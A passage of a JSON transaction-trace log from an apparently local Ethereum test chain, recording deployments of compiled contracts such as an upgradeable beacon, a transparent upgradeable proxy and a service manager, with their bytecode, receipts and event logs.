1f191681016001600160401b038111828210171561431157614311614288565b604052919050565b6000806001600160401b0384111561433357614333614288565b50601f8301601f1916602001614348816142e9565b91505082815283838301111561435d57600080fd5b828260208301376000602084830101529392505050565b600082601f83011261438557600080fd5b61439483833560208501614319565b9392505050565b6001600160a01b038116811461112e57600080fd5b600080600080600080600080610100898b0312156143cd57600080fd5b8835975060208901359650604089013595506143eb60608a01614270565b94506080890135935060a08901356001600160401b0381111561440d57600080fd5b6144198b828c01614374565b93505060c0890135915060e08901356144318161439b565b809150509295985092959890939650565b60ff8116811461112e57600080fd5b60006020828403121561446357600080fd5b8135613b6581614442565b60006040828403121561448057600080fd5b61448861429e565b823581526020928301359281019290925250919050565b600082601f8301126144b057600080fd5b6144b861429e565b8060408401858111156144ca57600080fd5b845b818110156144e45780358452602093840193016144cc565b509095945050505050565b60006080828403121561450157600080fd5b61450961429e565b9050614515838361449f565b8152614524836040840161449f565b602082015292915050565b600080600080610120858703121561454657600080fd5b84359350614557866020870161446e565b925061456686606087016144ef565b91506145758660e0870161446e565b905092959194509250565b60006020828403121561459257600080fd5b5035919050565b6000602082840312156145ab57600080fd5b8135613b658161439b565b602080825282518282018190526000918401906040840190835b818110156144e45783516001600160a01b03168352602093840193909201916001016145d0565b801515811461112e57600080fd5b60006020828403121561461757600080fd5b8135613b65816145f7565b803563ffffffff81168114613d1257600080fd5b60006001600160401b0382111561464f5761464f614288565b5060051b60200190565b600082601f83011261466a57600080fd5b813561467d61467882614636565b6142e9565b8082825260208201915060208360051b86010192508583111561469f57600080fd5b602085015b838110156146c3576146b581614622565b8352602092830192016146a4565b5095945050505050565b600082601f8301126146de57600080fd5b81356146ec61467882614636565b8082825260208201915060208360061b86010192508583111561470e57600080fd5b602085015b838110156146c357614725878261446e565b8352602090920191604001614713565b600082601f83011261474657600080fd5b813561475461467882614636565b8082825260208201915060208360051b86010192508583111561477657600080fd5b602085015b838110156146c35780356001600160401b0381111561479957600080fd5b6147a8886020838a0101614659565b8452506020928301920161477b565b600061018082840312156147ca57600080fd5b6147d26142c6565b905081356001600160401b038111156147ea57600080fd5b6147f684828501614659565b82525060208201356001600160401b0381111561481257600080fd5b61481e848285016146cd565b60208301525060408201356001600160401b0381111561483d57600080fd5b614849848285016146cd565b60408301525061485c83606084016144ef565b606082015261486e8360e0840161446e565b60808201526101208201356001600160401b0381111561488d57600080fd5b61489984828501614659565b60a0830152506101408201356001600160401b038111156148b957600080fd5b6148c584828501614659565b60c0830152506101608201356001600160401b038111156148e557600080fd5b6148f184828501614735565b60e08301525092915050565b60008060006060848603121561491257600080fd5b8335925061492260208501614622565b915060408401356001600160401b0381111561493d57600080fd5b614949868287016147b7565b9150509250925092565b600081518084526020840193506020830160005b8281101561498e5781516001600160601b0316865260209586019590910190600101614967565b5093949350505050565b60408152600083516040808401526149b36080840182614953565b90506020850151603f198483030160608501526149d08282614953565b925050508260208301529392505050565b60008083601f8401126149f357600080fd5b5081356001600160401b03811115614a0a57600080fd5b602083019150836020828501011115614a2257600080fd5b9250929050565b600080600060408486031215614a3e57600080fd5b83356001600160401b03811115614a5457600080fd5b614a60868287016149e1565b909790965060209590950135949350505050565b60008060408385031215614a8757600080fd5b8235614a928161439b565b915060208301356001600160401b03811115614aad57600080fd5b830160608186031215614abf57600080fd5b604051606081016001600160401b0381118282101715614ae157614ae1614288565b60405281356001600160401b03811115614afa57600080fd5b614b0687828501614374565b8252506020828101359082015260409182013591810191909152919491935090915050565b600060208284031215614b3d57600080fd5b81356001600160401b03811115614b5357600080fd5b8201601f81018413614b6457600080fd5b614b7384823560208401614319565b949350505050565b600080600060608486031215614b9057600080fd5b8335925060208401356149228161439b565b600080600060608486031215614bb757600080fd5b8335614bc28161439b565b92506020840135614bd28161439b565b91506040840135614be28161439b565b809150509250925092565b60008060008060608587031215614c0357600080fd5b8435935060208501356001600160401b03811115614c2057600080fd5b614c2c878288016149e1565b9598909750949560400135949350505050565b600080600080600080600060e0888a031215614c5a57600080fd5b873596506020880135955060408801359450614c7860608901614270565b93506080880135925060a08801356001600160401b03811115614c9a57600080fd5b614ca68a828b01614374565b979a969950949793969295929450505060c09091013590565b60008060208385031215614cd257600080fd5b82356001600160401b03811115614ce857600080fd5b8301601f81018513614cf957600080fd5b80356001600160401b03811115614d0f57600080fd5b8560208260051b8401011115614d2457600080fd5b6020919091019590945092505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115613b6857613b68614d34565b91825260601b6001600160601b031916602082015260340190565b634e487b7160e01b600052603260045260246000fd5b600082614dab57634e487b7160e01b600052601260045260246000fd5b500690565b81810381811115613b6857613b68614d34565b600060208284031215614dd557600080fd5b5051919050565b600060208284031215614dee57600080fd5b81516001600160c01b0381168114613b6557600080fd5b600060208284031215614e1757600080fd5b8151613b6581614442565b6001600160601b038116811461112e57600080fd5b60006040828403128015614e4a57600080fd5b50614e5361429e565b8251614e5e8161439b565b81526020830151614e6e81614e22565b60208201529392505050565b600060018201614e8c57614e8c614d34565b5060010190565b600060208284031215614ea557600080fd5b8151613b658161439b565b600060208284031215614ec257600080fd5b815167ffffffffffffffff1981168114613b6557600080fd5b600060208284031215614eed57600080fd5b8151613b6581614e22565b6001600160601b038281168282160390811115613b6857613b68614d34565b63ffffffff60e01b8360e01b16815260006004820183516020850160005b82811015614f53578151845260209384019390910190600101614f35565b50919695505050505050565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b8183823760009101908152919050565b60208082526052908201527f536572766963654d616e61676572426173652e6f6e6c7952656769737472794360408201527f6f6f7264696e61746f723a2063616c6c6572206973206e6f742074686520726560608201527133b4b9ba393c9031b7b7b93234b730ba37b960711b608082015260a00190565b6000815180845260005b8181101561505b5760208185018101518683018201520161503f565b506000602082860101526020601f19601f83011685010191505092915050565b60018060a01b03831681526040602082015260008251606060408401526150a560a0840182615035565b90506020840151606084015260408401516080840152809150509392505050565b6020815260006143946020830184615035565b6001600160601b0381811683821602908116908181146150fb576150fb614d34565b5092915050565b8082028115828204841417613b6857613b68614d34565b6001600160a01b038616815263ffffffff851660208201526080604082018190528101839052828460a0830137600060a08483010152600060a0601f19601f86011683010190508260608301529695505050505050565b8881528760208201528660408201526001600160601b03198616606082015284608082015261010060a082015260006151ad610100830186615035565b60c0830194909452506001600160a01b039190911660e0909101529695505050505050565b6000602082840312156151e457600080fd5b8151613b65816145f7565b60008235609e1983360301811261520557600080fd5b9190910192915050565b8035613d128161439b565b81835260208301925060008160005b8481101561498e57813561523c8161439b565b6001600160a01b03168652602082013561525581614e22565b6001600160601b031660208701526040958601959190910190600101615229565b6020808252810182905260006040600584901b830181019083018583609e1936839003015b8782101561538357868503603f1901845282358181126152ba57600080fd5b8901803536829003601e190181126152d157600080fd5b81016020810190356001600160401b038111156152ed57600080fd5b8060061b36038213156152ff57600080fd5b60a0885261531160a08901828461521a565b9150506153206020830161520f565b6001600160a01b031660208801526040828101359088015261534460608301614622565b63ffffffff16606088015261535b60808301614622565b63ffffffff81166080890152915095505060209384019392909201916001919091019061529b565b5092979650505050505050565b600061ffff821661ffff81036153a8576153a8614d34565b6001019291505056fe30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd470ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0424c535369676e6174757265436865636b65722e636865636b5369676e617475a26469706673582212203440c2bb4ebecaa44bea7577804670f85f619a11d945ae9f1a6045acfe7e7db564736f6c634300081c0033","nonce":48,"gas_used":4772679},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x48d347","logs":[{"address":"0x809d550fca64d94bd9f66e60752a544199cfac3d","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x5c9915406292b6f5b2bfadc778a7dfddc7a268ab6a1aac469eeec8d1d2366669","block_number":8},{"info":{"transaction_hash":"0xf63348d9d494abf9775ab12c8f00d13e58abb43735511d6fbdcbc50bdfbfdd46","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405234801561001057600080fd5b506040516104be3803806104be83398101604081905261002f9161013a565b61003833610047565b61004181610097565b5061016a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381163b6101185760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f60448201527f6e206973206e6f74206120636f6e747261637400000000000000000000000000606482015260840160405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006020828403121561014c57600080fd5b81516001600160a01b038116811461016357600080fd5b9392505050565b610345806101796000396000f3fe608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212209176cbc732e35579ce4ae7c873e9cf0d842b9c03ed71928415a44a507cb220b364736f6c634300081c0033000000000000000000000000610178da211fef7d417bc0e6fed39f05609ad788","output":"0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212209176cbc732e35579ce4ae7c873e9cf0d842b9c03ed71928415a44a507cb220b364736f6c634300081c0033","gas_used":216356,"gas_limit":302820,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106100575760003560e01c80633659cfe61461005c5780635c60da1b14610071578063715018a61461009a5780638da5cb5b146100a2578063f2fde38b146100b3575b600080fd5b61006f61006a3660046102df565b6100c6565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200160405180910390f35b61006f61010e565b6000546001600160a01b031661007e565b61006f6100c13660046102df565b610122565b6100ce6101a0565b6100d7816101fa565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b6101166101a0565b610120600061028f565b565b61012a6101a0565b6001600160a01b0381166101945760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61019d8161028f565b50565b6000546001600160a01b031633146101205760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018b565b6001600160a01b0381163b61026d5760405162461bcd60e51b815260206004820152603360248201527f5570677261646561626c65426561636f6e3a20696d706c656d656e746174696f6044820152721b881a5cc81b9bdd08184818dbdb9d1c9858dd606a1b606482015260840161018b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102f157600080fd5b81356001600160a01b038116811461030857600080fd5b939250505056fea26469706673582212209176cbc732e35579ce4ae7c873e9cf0d842b9c03ed71928415a44a507cb220b364736f6c634300081c0033","nonce":11,"gas_used":288554},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x537880","logs":[{"address":"0xb7f8bc63bbcad18155201308c8f3540b07f84f5e","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"}],"logsBloom":"0x00000000100000000000000000000000000000000040000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000000000000000000000000020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xcc97307be35f5f2699f45dfdf7700f341711b7411b59bdda05f72078f8d49333","block_number":7},{"info":{"transaction_hash":"0x004119848c4a82aeb6af0f18586aa027a6274b138ad0e54354b2512ee5883afc","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b